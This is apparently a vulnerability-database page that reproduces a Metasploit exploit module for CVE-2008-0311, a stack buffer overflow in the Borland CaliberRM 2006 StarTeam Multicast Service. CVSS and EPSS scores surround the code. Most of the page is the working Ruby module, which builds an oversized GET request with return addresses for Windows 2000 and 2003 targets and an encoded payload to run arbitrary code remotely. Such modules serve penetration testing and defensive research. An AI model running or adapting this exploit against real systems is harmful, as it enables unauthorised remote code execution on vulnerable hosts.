Lucene search

K
metasploitMC <[email protected]>MSF:EXPLOIT-WINDOWS-MISC-BORLAND_STARTEAM-
HistoryJun 01, 2008 - 11:42 a.m.

Borland CaliberRM StarTeam Multicast Service Buffer Overflow

2008-06-0111:42:31
www.rapid7.com
10

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

EPSS

0.73

Percentile

98.2%

This module exploits a stack buffer overflow in Borland CaliberRM 2006. By sending a specially crafted GET request to the STMulticastService, an attacker may be able to execute arbitrary code.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Borland CaliberRM StarTeam Multicast Service Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Borland CaliberRM 2006. By sending
        a specially crafted GET request to the STMulticastService, an attacker may be
        able to execute arbitrary code.
      },
      'Author'         => 'MC',
      'References'     =>
        [
          [ 'CVE', '2008-0311' ],
          [ 'OSVDB', '44039' ],
          [ 'BID', '28602' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 SP4 English',     { 'Ret' => 0x7c5729db } ],
          [ 'Windows 2003 SP0 English',     { 'Ret' => 0x71ae1f9b } ],
        ],
      'Privileged'     => true,
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2008-04-02'))

    register_options([Opt::RPORT(3057)])
  end

  def exploit

    # inline payloads work best!
    sploit =  rand_text_english(511) + "\x00" + rand_text_english(1020)
    sploit << [target.ret].pack('V') + "@" * 156 # <- :(
    sploit << payload.encoded + rand_text_english(rand(100) + 1)

    print_status("Trying target #{target.name}...")

    send_request_raw({'uri' => sploit,}, 5)

    handler
    disconnect

  end
end

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

EPSS

0.73

Percentile

98.2%

Related for MSF:EXPLOIT-WINDOWS-MISC-BORLAND_STARTEAM-